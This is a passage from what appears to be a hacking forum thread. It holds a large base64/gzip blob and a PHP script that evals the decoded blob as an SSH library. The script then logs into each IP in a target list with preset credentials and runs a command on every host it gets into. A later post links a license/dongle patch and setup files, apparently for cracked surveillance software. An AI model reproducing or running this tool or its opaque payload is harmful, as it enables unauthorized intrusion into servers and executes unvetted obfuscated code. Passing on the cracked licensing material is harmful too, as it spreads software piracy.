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";
    //end base64/gz blobs
    
    // Read File Into Array, use buffer to read in
    function read_file($filename = ''){
     $buffer = array();
     $source_file = fopen( $filename, "r" ) or die("Couldn't open $filename");
     while (!feof($source_file)) {
       $buffer[] = explode("\n", fread($source_file, 4096));  // use a buffer of 4KB, split on newlines
     }
     return $buffer[0];
    }
    
    if((file_exists($ip_file)) && (filesize($ip_file) > 0)) {
     eval(gzinflate(base64_decode($biggaysshlib))); // Decode our SSH Lib for use
     $ips = read_file($ip_file); // Pull in IP's from file, generate array
     foreach($ips as $ip) {      // iterate targets and execute commands on successfull login
       if(trim($ip) != "") {
         echo "[*] Testing $ip....\n";
         $ssh = new Net_SSH2($ip);
         if(!$ssh->login($ssh_user, $ssh_pass)) {
           echo "[x] $ip => Failed\n";
         } else {
           echo "[*] $ip => Success\n";
           echo $ssh->exec($cmd_to_run);
         }
       }
     }
    }
    
    ?>

     

    • Upvote 1
  11. lic/dongle patch and license

    https://mega.nz/#!j4pgiTyK!VpH_UiyNlTOa831WoZEJhg4L73tWpWA4sSZuF0cb65M

     

    RCS setup complete files

